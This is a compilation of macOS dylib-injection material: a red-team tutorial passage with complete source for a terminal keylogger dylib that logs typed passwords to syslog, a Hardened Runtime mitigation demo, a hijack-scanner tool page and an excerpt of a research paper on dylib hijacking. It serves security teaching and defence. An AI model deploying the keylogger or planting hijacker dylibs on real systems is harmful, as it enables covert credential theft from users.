Build it with: 

% gcc -dynamiclib payload.c -o payload.dylib 

Now export the library path: 

% export DYLD_INSERT_LIBRARIES=$PATH/payload.dylib 

And finally execute the password application: 

% ./password 

DYLIB injection successful! 

Enter password: 

From the output we can see the library code executed, along with the original binary, the 

DYLIB injection was successful. 

Creating a terminal keylogger payload 



Injecting a library is quite easy as we can see, however creating a useful payload most of the 

time is not as straightforward. While we could of course execute anything by creating a new 

thread, in the case of library injection what we are usually after is getting access to the data 

handled by the process itself. 

We could reverse engineer the application and attempt to tamper with the memory but with 

most console applications (CLIs for example), the sensitive data is in the user input. For this 

purpose we created a sort of man in the middle payload that utilizes standard system 

functions to manipulate the terminal and capture input and output. 

Challenge 1: peeking stdin 

The solution that comes to mind first is to create a new thread that reads all the input from 

stdin. While this sounds simple enough, after hours of research and trial and error we found 

out that it is not actually possible. While stdin is in fact a file descriptor it is not seekable, we 

cannot monitor it with one thread, and continue using it with the other simultaneously. Using 

getc and trying to push back characters to the stream will result in race conditions, with some 

characters getting missed. 

While it not possible to manipulate the file descriptor the way we want it, nothing is stopping 

us from creating a new one. Fortunately there is a system call in linux just for this 

called openpty. This is usually used for running console applications in a virtual terminal, 

however we can use it to create a virtual terminal and hijack both the input and the output of 

the process using it. The idea is to give the virtual stdin and stdout to the original process by 

rewriting the STDIN_FILENO and STDOUT_FILENO descriptors using dup2. With this we are 

essentially cutting the application off from the actual user input and output, and making it run 

in a fake terminal. 

    int master; 

    int slave; 

    openpty(&master, &slave, NULL, &current, NULL); 

     

    dup2(slave, STDIN_FILENO); 

    dup2(slave, STDOUT_FILENO); 

    dup2(slave, STDERR_FILENO); 

We will also create a set of new file descriptors to the calling terminal, allowing us to 

communicate with the user: 

    oldstdin = fileno(fopen("/dev/tty", "r")); 

    oldstdout = fileno(fopen("/dev/tty", "a")); 

    oldstderr = oldstdout; 

The next step is to create a bridge between the virtual and the real terminal. We will forward 

all user input from the real stdin to the virtual and do the same for output in the other 

direction. We will also copy and log everything along the way of course :) 

  fd_set rfds; 

https://man7.org/linux/man-pages/man3/openpty.3.html
https://man7.org/linux/man-pages/man2/dup.2.html


  struct timeval tv; 

  tv.tv_sec = 0; 

  tv.tv_usec = 0; 

  char buf[4097]; 

  int size; 

   

  FD_ZERO(&rfds); 

  FD_SET(oldstdin, &rfds); 

  if (select(oldstdin + 1, &rfds, NULL, NULL, &tv)) { 

    size = read(oldstdin, buf, 4096); 

    buf[size] = '\0'; 

    syslog(LOG_ERR, "Data:%s\n", buf); 

    write(master, buf, size); 

  } 

         

  FD_ZERO(&rfds); 

  FD_SET(master, &rfds); 

  if (select(master + 1, &rfds, NULL, NULL, &tv)) { 

    size = read(master, buf, 4096); 

    buf[size] = '\0'; 

    write(oldstdout, buf, size); 

  } 

Here we are also using select to monitor whether the file descriptors are ready. 

Challenge 2: raw input and other terminal settings 

The solution above will work perfectly, as long as the application doesn't do anything weird 

with the terminal, for example changing the input mode to raw... The terminal has a set of 

options that control how user input and output behaves. The termios functions allow 

developers to set things like switching between buffered or raw input mode (the app receives 

input line by line or upon every keypress), or turning on and off terminal echo. These calls are 

usually hidden from developers by libraries such as ncurses, but this also means that a lot of 

programs use this, even without us knowing it. Trying this MiTM technique on the following 

example code will break user input entirely: 

#include <stdio.h> 

#include <termios.h> 

https://man7.org/linux/man-pages/man2/select.2.html
https://www.man7.org/linux/man-pages/man3/termios.3.html


#include <stdlib.h> 

 

int main() 

{ 

 

    char ch; 

 

    struct termios current; 

    int result; 

    tcgetattr (0, &current); 

    cfmakeraw(&current); 

    tcsetattr (0, TCSANOW, &current); 

 

    printf("Enter some text: "); 

    for(int i = 0; i<20; i = i+1){ 

        scanf("%c", &ch); 

        printf("%c", ch); 

    } 

 

    return 0; 

} 

The solution to this is fortunately quite simple. We have to monitor the virtual terminal for 

changes in the configuration and then apply them to the real terminal. 

The following function copies the terminal attributes from one terminal to the other: 

void terminalcopy(int old, int new){ 

    struct termios oldsettings; 

    int result; 

    result = tcgetattr (old, &oldsettings); 

    if (result < 0) 

    { 

        syslog(LOG_ERR, "error in tcgetattr old"); 



    } 

    result = tcsetattr (new, TCSANOW, &oldsettings); 

    if (result < 0) 

    { 

        syslog(LOG_ERR, "error in tcsetattr"); 

    } 

} 

We can simply embed this into our input loop. 

Challenge 3: exfiltrating data 

This isn't really a challenge with the injection, it is more a challenge with Red Teaming in 

general. Getting the stolen goods across the border, aka writing logged passwords or API keys 

to a file is usually a noisy process. In this payload we are going to use a solution proposed by 

our team lead @Daniel Teixeira. We are going to write all our data to syslog. We are going to 

use the syslog command. 

syslog(LOG_ERR, "Data:%s\n", buf); 

This solution is practical when the engagement allows relatively easy access to log facilities. It 

could be further refined by encrypting the logged information. 

Putting it all together 

#include "spy.h" 

#include <stdio.h> 

#include <syslog.h> 

#include <stdlib.h> 

#include <pthread.h> 

#include <sys/select.h> 

#include <fcntl.h> 

#include <util.h> 

#include <unistd.h> 

#include <termios.h> 

 

int master; 

int slave; 

int oldstdin; 

int oldstdout; 



int oldstderr; 

 

void terminalcopy(int old, int new){ 

    struct termios oldsettings; 

    int result; 

     

    result = tcgetattr (old, &oldsettings); 

    if (result < 0) 

    { 

        syslog(LOG_ERR, "error in tcgetattr old"); 

    } 

    result = tcsetattr (new, TCSANOW, &oldsettings); 

    if (result < 0) 

    { 

        syslog(LOG_ERR, "error in tcsetattr"); 

    } 

} 

 

void* spyfunc(){ 

 

    syslog(LOG_ERR, "Spy thread started!\n"); 

     

    fd_set rfds; 

    struct timeval tv; 

    tv.tv_sec = 0; 

    tv.tv_usec = 0; 

    char buf[4097]; 

    int size; 

     

    while(1) 

    { 



        terminalcopy(slave, oldstdin); 

 

        FD_ZERO(&rfds); 

        FD_SET(oldstdin, &rfds); 

        if (select(oldstdin + 1, &rfds, NULL, NULL, &tv)) { 

            size = read(oldstdin, buf, 4096); 

            buf[size] = '\0'; 

            syslog(LOG_ERR, "Data:%s\n", buf); 

            write(master, buf, size); 

        } 

         

        FD_ZERO(&rfds); 

        FD_SET(master, &rfds); 

        if (select(master + 1, &rfds, NULL, NULL, &tv)) { 

            size = read(master, buf, 4096); 

            buf[size] = '\0'; 

            write(oldstdout, buf, size); 

        } 

         

    } 

    return 0; 

} 

 

__attribute__((constructor)) 

static void customConstructor(int argc, const char **argv) 

{ 

    struct termios current; 

    int result; 

    result = tcgetattr (STDIN_FILENO, &current); 

     

    openpty(&master, &slave, NULL, &current, NULL); 



     

    dup2(slave, STDIN_FILENO); 

    dup2(slave, STDOUT_FILENO); 

    dup2(slave, STDERR_FILENO); 

    oldstdin = fileno(fopen("/dev/tty", "r")); 

    oldstdout = fileno(fopen("/dev/tty", "a")); 

    oldstderr = oldstdout; 

     

    pthread_t id; 

     

    pthread_create(&id, NULL, spyfunc, NULL); 

     

    syslog(LOG_ERR, "Dylib injection successful in %s\n", argv[0]); 

} 

This code still has some limitations, it will fail in cases when the application directly 

manipulates /dev/tty, however for most console applications it works as expected. 

Multiarch issues 

We are testing this on a realtively new M1 Macbook, which is running both native ARM and 

x64 binaries. If we simply compile our library it will result in a native ARM binary, however if 

we try to inject this into an x64 process running under Rosetta we will be facing the following 

error message: 

dyld[31453]: terminating because inserted dylib '/$PATH/spy.dylib' could not be loaded: tried: 

'/$PATH/spy.dylib' (mach-o file, but is an incompatible architecture (have 'arm64e', need 

'x86_64')), '/usr/local/lib/spy.dylib' (no such file), '/usr/lib/spy.dylib' (no such file) 

From a Red Team perspective this is an issue, since we can not be sure what kind of process 

our library will be injected into, and the error can tip off the user that something is not right on 

the system. To solve this we will have to compile our library with multiarch support. 

To achieve this we will Xcode, load our code, select the project, select build settings and set 

release to ARCHS = $(ARCHS_STANDARD) (Standard Architectures (Apple Silicon, Intel)). Hit 

build, the resulting dylib file will be 

under $home/Library/Developer/Xcode/DerivedData/$projectname/Build/Products/Debug/. 

The result should look like this: 

Using this library it is possible to inject into both ARM and x64 processes running under 

Rosetta. 

Protecting against all of this 



Apple introduced the Hardened Runtime by Apple in macOS 10.14 (Mojave), which in theory 

should prevent attacks like this. The catch is that developers have to sign their applications to 

enable hardened runtime when executing their code. 

To test this we can create a self signed certificate in Keychain Access. Then use this certificate 

to sign our example Go app. 

Let's build our go example from before, and test DYLIB injection again: 

% export DYLD_INSERT_LIBRARIES=/osx_injections/spy0.dylib 

% go build readline.go 

% ./readline 

DYLIB injection successful! 

Enter password: 

asdasd 

Welcome! 

Now let's sign our app with a self signed certificate and hardened runtime enabled: 

% sudo codesign -fs certname -o runtime readline 

readline: replacing existing signature 

% ./readline 

Enter password: 

asdasd 

Welcome! 

As we can see the library is no longer loaded, the application, among other things is immune 

against DYLIB injections. 

Conclusion 

While Mac OS has some great security features us as developers have to be mindful that 

sometimes these features have to be explicitly enabled. While DYLIB injection is usually only 

exploitable when the attackers already have access to the target system, in the name of 

defense in depth these issues should be mitigated whenever possible. 

https://www.form3.tech/engineering/content/dylib-injection-in-golang-apps 

https://github.com/alphaSeclab/injection-stuff 

https://www.youtube.com/watch?v=dhhW5kzG048&ab_channel=Engineers.SG 

https://support.apple.com/en-gb/guide/keychain-access/kyca8916/mac
https://www.form3.tech/engineering/content/dylib-injection-in-golang-apps
https://github.com/alphaSeclab/injection-stuff
https://www.youtube.com/watch?v=dhhW5kzG048&ab_channel=Engineers.SG


Dylib Hijack Scanner 

Dylib Hijack Scanner or DHS, is a simple utility that will scan your 

computer for applications that are either susceptible to dylib 

hijacking or have been hijacked.  

 
To use DHS, first download the zip archive containing the 

application. Depending on your browser, you may need to 

manually unzip the application by double-clicking on the zipped 

archive: 

 

 
To run the application and begin a scan, simply double click on 

'DHS.app' and press the 'Start Scan' button. DHS will then scan and 

detect any applications that have been hijacked, or are vulnerable 

to hijacking. It is likely that several vulnerable applications will be 

detected. This is quite common and don't mean your computer is 

https://bitbucket.org/objective-see/deploy/downloads/DHS_1.4.1.zip


hacked. However, if there are any applications listed under 

'Hijacked Applications' this could be an issue. It may be a false 

positive, or an actual hijacking (see the FAQs below for details). If 

you need help identifying sorting this out, feel free to email me. 

 

Clicking the 'gear' icon on the bottom left of the window, will bring 

up DHS's preferences. These check boxes can be selected to 

control the execution of DHS. For example, selecting 'full scan' will 

cause DHS to perform a scan of the entire file-system. Selecting 

'weak hijacker detction' will cause DHS to look for hijackers that 

abuse weak imports. Finally, selecting 'save results' will cause DHS 

to log all findings (as JSON) to a file in the application's directory 

named 'dhsFindings.txt'. 

 

 
DHS is designed to favor reporting false positives over supressing 

false negatives. While this will uncover a wider range of malicious 

hijackers, it may also result in legitimate dylibs being flagged. If 

something is flagged on your computer, is recommended you first 

consult the list of known false positives. 

https://objective-see.org/products/dhs.html 

Dylib hijacking on OS X 

DLL hijacking is a well known class of attack which was always believed only to affect 

the Windows OS. However, this paper will show that OS X is similarly vulnerable to 
dynamic library hijacks. By abusing various features and undocumented aspects 

of OS X’s dynamic loader, attackers need only to ‘plant’ specially crafted dynamic 

libraries to have malicious code automatically loaded into vulnerable applications. 
Using this method, such attackers can perform a wide range of malicious and 

subversive actions, including stealthy persistence, load-time process injection, 

mailto:contact@objective-see.com
https://objective-see.org/products/dhsFPs.txt
https://objective-see.org/products/dhs.html


security software circumvention, and a Gatekeeper bypass (affording opportunities 

for remote infection). Since this attack abuses legitimate functionality of the OS, it is 

challenging to prevent and unlikely to be patched. However, this paper will present 
techniques and tools that can uncover vulnerable binaries as well as detect if a 
hijacking has occurred. 

Background 

Before detailing the dynamic library (dylib) hijacking attack on OS X, dynamic link 

library (DLL) hijacking on Windows will briefly be reviewed. As the two attacks are 

conceptually quite similar, examining the well-understood Windows attack can help 
in gaining an understanding of the former. 

DLL hijacking on Windows is best explained by Microsoft: 

‘When an application dynamically loads a dynamic link library (DLL) without 

specifying a fully qualified path name, Windows tries to locate the DLL by searching a 
well-defined set of directories. If an attacker gains control of one of the directories, 

they can force the application to load a malicious copy of the DLL instead of the DLL 
that it was expecting.’ [1] 

To reiterate, the default search behaviour of the Windows loader is to search various 

directories (such as the application’s directory or the current working directory) 
before the Windows system directory. This can be problematic if an application 

attempts to load a system library via an insufficiently qualified path (i.e. just by its 

name). In such a scenario, an attacker may ‘plant’ a malicious DLL (the name of 
which matches that of the legitimate system DLL) in one of the primary search 

directories. With this malicious DLL in place, the Windows loader will find the 

attacker’s library before the legitimate DLL and blindly load it into the context of the 
vulnerable application. 

This is illustrated in Figure 1 and Figure 2, where a vulnerable application (Figure 1) 
is hijacked by a malicious DLL that has been planted in the primary search directory 
(Figure 2). 

 

https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x#citation.1
https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x#figure.1
https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x#figure.2
https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x#figure.1
https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x#figure.2


Figure 1. Loading the legitimate system DLL. 

 

Figure 2. Loading the attacker’s malicious DLL. 

DLL hijacking attacks initially gained notoriety in 2010 and quickly grabbed the 

attention of both the media and malicious attackers. Also known as ‘binary planting’, 
‘insecure library loading’ or ‘DLL preloading’, the discovery of this vulnerability is 

often attributed to H.D. Moore [2], [3]. However, the NSA was actually the first to note 

this flaw, 12 years prior to Moore, in 1998. In the NSA’s unclassified ‘Windows NT 
Security Guidelines’, the organization both describes and warns of DLL hijacking: 

‘It is important that penetrators can’t insert a “fake” DLL in one of these directories 
where the search finds it before a legitimate DLL of the same name.’ [4] 

To an attacker, DLL hijacking affords many useful scenarios. For example, such 

attacks can allow a malicious library to stealthily be persisted (without modifying the 

registry or other components of the OS), privileges to be escalated, and even 
provides the means for remote infection. 

Malware authors were fairly quick to realize the benefits of DLL hijacking. In a blog 
post entitled ‘What the fxsst?’ [5] , Mandiant researchers described how they had 

uncovered various unrelated malware samples all named ‘fxsst.dll’. Upon closer 

inspection, they found that the samples were all exploiting a DLL hijacking 

vulnerability in the Windows shell (Explorer.exe), that provided a stealthy method of 
persistence. Specifically, as Explorer.exe was installed in C: \Windows, planting a 

library named fxsst.dll in the same directory would result in the persistence of the 

malicious DLL as the loader searched the application’s directory before the system 

directory where the legitimate fxsst.dll lived. 

Another example of malware using a DLL hijack can be found within the leaked 
source code for the banking trojan ‘Carberp’ [6]. The source code shows the malware 

bypassing User Account Control (UAC) via a DLL hijack of sysprep.exe (see Figure 3). 

This binary is an auto-elevated process, meaning that it requires no UAC prompt to 
gain elevated status. Unfortunately, it was found to be vulnerable to a DLL hijacking 

attack and would load a maliciously planted DLL (named cryptbase.dll) into its 
elevated process context [7]. 

https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x#citation.2
https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x#citation.3
https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x#citation.4
https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x#citation.5
https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x#citation.6
https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x#figure.3
https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x#citation.7


 

Figure 3. Carberp abusing a DLL hijack to bypass UAC. 

These days, DLL hijacking on Windows is somewhat uncommon. Microsoft was swift 

to respond to attacks, patching vulnerable applications and detailing how others 
could avoid this issue (i.e. simply by specifying an absolute, or fully qualified path for 

imported DLLs) [8]. Moreover, OS level mitigations were introduced, which if enabled 

via the SafeDllSearchMode and/or CWDIllegalInDllSearch registry keys, stop the 
majority of DLL hijackings generically. 

Dylib hijacking on OS X 

It has always been assumed that dynamic library hijacking was a Windows-only 
problem. However, as one astute StackOverflow user pointed out in 2010, ‘any OS 

which allows for dynamic linking of external libraries is theoretically vulnerable to 

this’ [9]. It took until 2015 for him to be proved correct – this paper will reveal an 
equally devastating dynamic library hijack attack affecting OS X. 

The goal of the research presented here was to determine whether OS X was 
vulnerable to a dynamic library attack. Specifically, the research sought to answer 

the question: could an attacker plant a malicious OS X dynamic library (dylib) such 

that the OS’s dynamic loader would load it automatically into a vulnerable 

application? It was hypothesized that, much like DLL hijacking on Windows, such an 
attack on OS X would provide an attacker with a myriad of subversive capabilities. 

For example, stealthy persistence, load-time process injection, security software 
circumvention, and perhaps even ‘remote’ infection. 

It should be noted that several constraints were placed upon this undertaking. First, 

success was constrained by disallowing any modification to the system – except for 
the creation of files (and if necessary folders). In other words, the research ignored 

attack scenarios that required the subverting of existing binaries (e.g. patching) or 

modifications to existing OS configuration files (e.g. ‘auto-run’ plists, etc.). As such 
attacks are well known and trivial both to prevent and to detect, they were ignored. 

The research also sought a method of hijack that was completely independent of the 

user’s environment. OS X provides various legitimate means to control the 
environment in a manner that could coerce the loader to load malicious libraries 

https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x#citation.8
https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x#citation.9


automatically into a target process. These methods, such as setting the 

DYLD_INSERT_LIBRARIES environment variable, are user-specific and, again, well 
known and easy to detect. As such, they were of little interest and were ignored. 

The research began with an analysis of the OS X dynamic linker and loader, dyld. This 
binary, found within /usr/bin, provides standard loader and linker functionality 
including finding, loading and linking dynamic libraries. 

As Apple has made dyld open source [10], analysis was fairly straightforward. For 

example, reading the source code provided a decent understanding of dyld’s actions 

as an executable is loaded and its dependent libraries are loaded and linked in. The 
following briefly summarizes the initial steps taken by dyld (focusing on those that 
are relevant to the attack described in this paper): 

1. As any new process is started, the kernel sets the user-mode entry point to 

__dyld_start (dyldStartup.s). This function simply sets up the stack then 
jumps to dyldbootstrap::start(), which in turn calls the loader's _main(). 

2. Dyld’s _main() function (dyld.cpp) invokes link(), which then calls an 

ImageLoader object’s link() method to kick off the linking process for the 
main executable. 

3. The ImageLoader class (ImageLoader.cpp) exposes many functions that dyld 
calls in order to perform various binary image loading logic. For example, the 

class contains a link() method. When called, this invokes the object’s 

recursiveLoadLibraries() method to perform the loading of all dependent 

dynamic libraries. 

4. The ImageLoader’s recursiveLoadLibraries() method determines all required 
libraries and invokes the context.loadLibrary() function on each. The context 

object is simply a structure of function pointers that is passed around 

between methods and functions. The loadLibrary member of this structure is 
initialized with the libraryLocator() function (dyld.cpp), which simply calls the 
load() function. 

5. The load() function (dyld.cpp) calls various helper functions within the same 

file, named loadPhase0() through to loadPhase5(). Each function is 

responsible for handling a specific task of the load process, such as resolving 

paths or dealing with environment variables that can affect the load process. 

6. After loadPhase5(), the loadPhase6() function finally loads (maps) the 
required dylibs from the file system into memory. It then calls into an 

instance of the ImageLoaderMachO class in order to perform Mach O specific 
loading and linking logic on each dylib. 

With a basic understanding of dyld’s initial loading logic, the research turned to 

hunting for logic that could be abused to perform a dylib hijack. Specifically, the 
research was interested in code in the loader that didn’t error out if a dylib wasn’t 

found, or code that looked for dylibs in multiple locations. If either of these scenarios 
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was realized within the loader, it was hoped that an OS X dylib hijack could be 
performed. 

The initial scenario was investigated first. In this case, it was hypothesized that if the 

loader could handle situations where a dylib was not found, an attacker (who could 
identify such situations) could place a malicious dylib in this presumed location. 

From then on, the loader would now ‘find’ the planted dylib and blindly load the 
attacker’s malicious code. 

Recall that the loader calls the ImageLoader class’s recursiveLoadLibraries() method 

to both find and load all required libraries. As shown in Figure 4, the loading code is 
wrapped in a try/catch block to detect dylibs that fail to load. 

 

Figure 4. Error logic for dylib load failures. 

Unsurprisingly, there is logic to throw an exception (with a message) if a library fails 

to load. Interestingly though, this exception is only thrown if a variable named 

‘required’ is set to true. Moreover, the comment in the source code indicates that 
failure to load ‘weak’ libraries is OK. This seems to indicate that some scenario exists 
where the loader is OK with missing libraries – perfect! 

Digging deeper into the loader’s source code revealed where this ‘required’ variable 

is set. Specifically, the doGetDependentLibraries() method of the ImageLoaderMacho 

class parses the load commands (described below) and sets the variable based on 
whether or not the load command is of type LC_LOAD_WEAK_DYLIB. 
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Figure 5. Setting the ‘required’ variable (src file?). 

Load commands are an integral component of the Mach-O file format (OS X’s native 

binary file format). Embedded immediately following the Mach-O header, they 

provide various commands to the loader. For example, there are load commands to 

specify the memory layout of the binary, the initial execution state of the main 
thread, and information about the dependent dynamic libraries for the binary. To 

view the load commands of a compiled binary, a tool such as MachOView [11] or 
/usr/bin/otool (with the -l command-line flag) can be used (see Figure 6). 

 

Figure 6. Dumping Calculator.app’s load commands with MachOView. 

(Click here to view a larger version of Figure 6.) 

The code in Figure 5 shows the loader iterating over all the load commands within a 
binary, looking for those that specify a dylib import. The format of such load 

commands (e.g. LC_LOAD_DYLIB, LC_LOAD_WEAK_DYLIB, etc.) can be found in the 
mach-o/loader.h file. 
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Figure 7. The format of the LC_LOAD_* load commands. 

For each dylib that an executable was dynamically linked against, it will contain an 

LC_LOAD_* (LC_LOAD_DYLIB, LC_LOAD_WEAK_DYLIB, etc.) load command. As the 

loader code in Figure 4 and Figure 5 illustrates, LC_LOAD_DYLIB load commands 
specify a required dylib, while libraries imported via LC_LOAD_WEAK_DYLIB are 

optional (i.e. ‘weak’). In the case of the former (LC_LOAD_DYLIB), an exception will be 

thrown if the required dylib is not found, causing the loader to abort and terminate 
the process. However, in the latter case (LC_LOAD_WEAK_DYLIB), the dylib is 

optional. If such a ‘weak’ dylib is not found, no harm is done, and the main binary will 
still be able to execute. 

 

Figure 8. Attempting to load a ‘weak’ dylib (LC_LOAD_WEAK_DYLIB). 

This loader logic fulfilled the first hypothetical hijack scenario, and as such, provided 
a dylib hijack attack on OS X. Namely, as illustrated in Figure 9, if a binary specifies a 

weak import that is not found, an attacker can place a malicious dylib in this 

presumed location. From then on, the loader will ‘find’ the attacker’s dylib and 
blindly load this malicious code into the process space of the vulnerable binary. 
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Figure 9. Hijacking an application via a malicious ‘weak’ dylib. 

Recall that another hijack attack was hypothesized if a scenario existed where the 

loader searched for dynamic libraries in multiple locations. In this case, it was 

thought that an attacker would be able to place a malicious dylib in one of the 
primary search directories (if the legitimate dylib was found elsewhere). It was hoped 

that the loader would then find the attacker’s malicious dylib first (before the 
legitimate one), and thus naively load the attacker’s malicious library. 

On OS X, load commands such as LC_LOAD_DYLIB always specify a path to the 

dynamic library (as opposed to Windows, where just the name of the library may be 
provided). Because a path is provided, dyld generally does not need to search 

various directories to find the dynamic library. Instead, it can simply go directly to 

the specified directory and load the dylib. However, analysis of dyld’s source code 
uncovered a scenario in which this generality did not hold. 

Looking at the loadPhase3() function in dyld.cpp revealed some interesting logic, as 

shown in Figure 10. 
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Figure 10. Loading ‘rpath’-dependent libraries. 

Dyld will iterate over an rp->paths vector, dynamically building paths (held within 

the ‘newPath’ variable) which are then loaded via the loadPhase4() function. While 

this does seem to fulfil the requirement of the second hijack scenario (i.e. dyld 
looking in multiple locations for the same dylib), a closer examination was required. 

The comment on the first line of dyld’s source in Figure 10 mentions the term 
‘@rpath.’ According to Apple documentation, this is a special loader keyword 

(introduced in OS X 10.5, Leopard) that identifies a dynamic library as a ‘run-path-

dependent library’ [12]. Apple explains that a run-path-dependent library ‘is a 

dependent library whose complete install name (path) is not known when the library 
is created’ [12]. Other online documentation such as [13] and [14] provides more 

detail, describing the role of these libraries and explaining how the @rpath keyword 

enables: ‘frameworks and dynamic libraries to finally be built only once and be used 
for both system-wide installation and embedding without changes to their install 

names, and allowing applications to provide alternate locations for a given library, or 
even override the location specified for a deeply embedded library’ [14]. 

While this feature allows software developers to deploy complex applications more 

easily, it can also be abused to perform a dylib hijack. This is true since in order to 
make use of run-path-dependent libraries, ‘an executable provides a list of run-path 

search paths, which the dynamic loader traverses at load time to find the libraries’ 

[12]. This is realized in code in various places within dyld, including the code snippet 
that was presented in Figure 10. 
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Since run-path-dependent libraries are relatively novel and somewhat unknown, it 

seemed prudent to provide an example of building both a legitimate run-path-
dependent library and a sample application that links against it. 

A run-path-dependent library is a normal dylib whose install name is prefixed with 
‘@rpath’. To create such a library in Xcode one can simply set the dylib’s installation 
directory to ‘@rpath’, as shown in Figure 11. 

 

Figure 11. Building a run-path-dependent library. 

Once the run-path-dependent library was compiled, examination of the LC_ID_DYLIB 
load command (which contains identifying information about the dylib) showed the 

run-path of the dylib. Specifically, the ‘name’ (path) within the LC_ID_DYLIB load 

command contained the dylib’s bundle (rpathLib.framework/ Versions/A/rpathLib), 

prefixed with the ‘@rpath’ keyword (see Figure 12). 

 

Figure 12. ‘@rpath’ embedded in the dylib’s ‘install name’ (path). 

Building an application that linked against a run-path-dependent library was fairly 

straightforward as well. First, the run-path-dependent library was added to the ‘Link 

Binary With Libraries’ list in Xcode. Then a list of run-path search directories was 
added to the ‘Runpath Search Paths’ list. As will be shown, these search directories 

are traversed by the dynamic loader at load time in order to locate the run path-
dependent libraries. 
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Figure 13. Linking in a @rpath’d dylib and specifying the run path search paths. 

Once the application was built, dumping its load commands revealed various 
commands associated with the run-path library dependency. A standard 

LC_LOAD_DYLIB load command was present for the dependency on the run-path-
dependent dylib, as shown in Figure 14. 

 

Figure 14. The dependency on the @rpath’d dylib. 

In Figure 14, note that the install name (i.e. path) to the run path-dependent dylib is 
prefixed with ‘@rpath’ and matches the name value from the LC_ID_DYLIB load 

command of the run-path-dependent dylib (see Figure 12). This application’s 

embedded LC_LOAD_DYLIB load command with the run-path-dependent dylib tells 
the loader, ‘I depend on the rpathLib dylib, but when built, I didn’t know exactly 

where it would be installed. Please use my embedded run-path search paths to find 
it and load it!’ 

The run-path search paths that were entered into the ‘Runpath Search Paths’ list in 

Xcode generated LC_RPATH load commands – one for each search directory. 

Dumping the load commands of the compiled application revealed the embedded 
LC_RPATH load commands, as shown in Figure 15. 
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Figure 15. The embedded run-path search paths (directories). 

With a practical understanding of run-path-dependent dylibs and an application that 
linked against one, it was easy to understand dyld’s source code which was 
responsible for handling this scenario at load time. 

When an application is launched, dyld will parse the application’s LC_LOAD_* load 

commands in order to load and link all dependent dylibs. To handle run-path-

dependent libraries, dyld performs two distinct steps: it extracts all embedded run-
path search paths and then uses this list to find and load all run-path-dependent 
libraries. 

In order to extract all embedded run-path search paths, dyld invokes the getRPaths() 

method of the ImageLoader class. This method (invoked by the 

recursiveLoadLibraries() method) simply parses the application for all LC_RPATH 

load commands. For each such load command, it extracts the run-path search path 
and appends it to a vector (i.e. a list), as shown in Figure 16. 

 

Figure 16. Extracting and saving all embedded run-path search paths. 

With a list of all embedded run-path search paths, dyld can now ‘resolve’ all 
dependent run-path-dependent libraries. This logic is performed in the loadPhase3() 

function in dyld.cpp. Specifically, the code (shown in Figure 17) checks to see if a 

dependent library’s name (path) is prefixed with the ‘@rpath’ keyword. If so, it 
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iterates over the list of extracted run-path search paths, replacing the ‘@rpath’ 

keyword in the import with the current search path. Then it attempts to load the 
dylib from this newly resolved directory. 

 

Figure 17. Searching run-path search directories for @rpath’d dylibs. 

It is important to note that the order of the directories that dyld searches is 

deterministic and matches the order of the embedded LC_RPATH load commands. 
Also, as is shown in the code snippet in Figure 17, the search continues until the 
dependent dylib is found or all paths have been exhausted. 

Figure 18 illustrates this search conceptually. The loader (dyld) can been seen 

searching the various embedded run-path search paths in order to find the required 

run-path-dependent dylib. Note that in this example scenario, the dylib is found in 

the second (i.e. non-primary) search directory (see Figure 18). 
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Figure 18. Dyld searching multiple run-path search directories. 

The astute reader will recognize that this loader logic opens up yet another avenue 

for a dylib hijack attack. Specifically, if an application is linked against a run-path-
dependent library, has multiple embedded run-path search paths, and the run-path-

dependent library is not found in a primary search path, an attacker can perform a 

hijack. Such a hijack may be accomplished simply by ‘planting’ a malicious dylib into 
any of the primary run-path search paths. With the malicious dylib in place, any time 

the application is subsequently run, the loader will find the malicious dylib first, and 

load it blindly (see Figure 19). 

 

Figure 19. Hijacking an application via a malicious ‘@rpath’ dylib. 

To summarize the findings so far: an OS X system is vulnerable to a hijacking attack 
given the presence of any application that either: 
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• Contains an LC_LOAD_WEAK_DYLIB load command that references a non-
existent dylib. 

or 

• Contains both an LC_LOAD*_DYLIB load command that references a run-

path-dependent library (‘@rpath’) and multiple LC_RPATH load commands, 

with the run-path-dependent library not found in a primary run-path search 
path. 

The remainder of this paper will first walk through a complete dylib hijack attack, 
then present various attack scenarios (persistence, load-time process injection, 

‘remote’ infection etc.), before concluding with some possible defences to counter 

such an attack. 

In order to assist the reader in gaining a deeper understanding of dylib hijacking, it 

seems prudent to detail the trials, errors, and ultimate success of a hijack attack. 
Armed with this knowledge it will be trivial to understand attack automation, attack 
scenarios, and practical defences. 

Recall the previously described sample application (‘rPathApp.app’) that was 

created in order to illustrate linking against a run-path-dependent dylib. This 
application will be the target of the hijack. 

A dylib hijack is only possible against a vulnerable application (that is to say, one that 
fulfils either of the two previously described hijack conditions). Since the example 

application (rPathApp.app) links against a run-path-dependent dylib, it may be 

vulnerable to the second hijack scenario. The simplest way to detect such a 

vulnerability is to enable debug logging in the loader, then simply run the application 
from the command line. To enable such logging, set the DYLD_PRINT_RPATHS 

environment variable. This will cause dyld to log its @rpath expansions and dylib 

loading attempts. Viewing this output should quickly reveal any vulnerable 
expansions (i.e. a primary expansion that points to a non-existent dylib), as shown 
in Figure 20. 

 

Figure 20. The vulnerable (test) application, rPathApp. 

Figure 20 shows the loader first looking for a required dylib (rpathLib) in a location 
where it does not exist. As was shown in Figure 19, in this scenario, an attacker could 
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plant a malicious dylib in this primary run-path search path and the loader will then 
load it blindly. 

A simple dylib was created to act as a malicious hijacker library. In order to gain 

automatic execution when loaded, the dylib implemented a constructor function. 
Such a constructor is executed automatically by the operating system when the dylib 

is loaded successfully. This is a nice feature to make use of, since generally code 

within a dylib isn’t executed until the main application calls into it via some exported 
function. 

 

Figure 21. A dylib’s constructor will automatically be executed. 

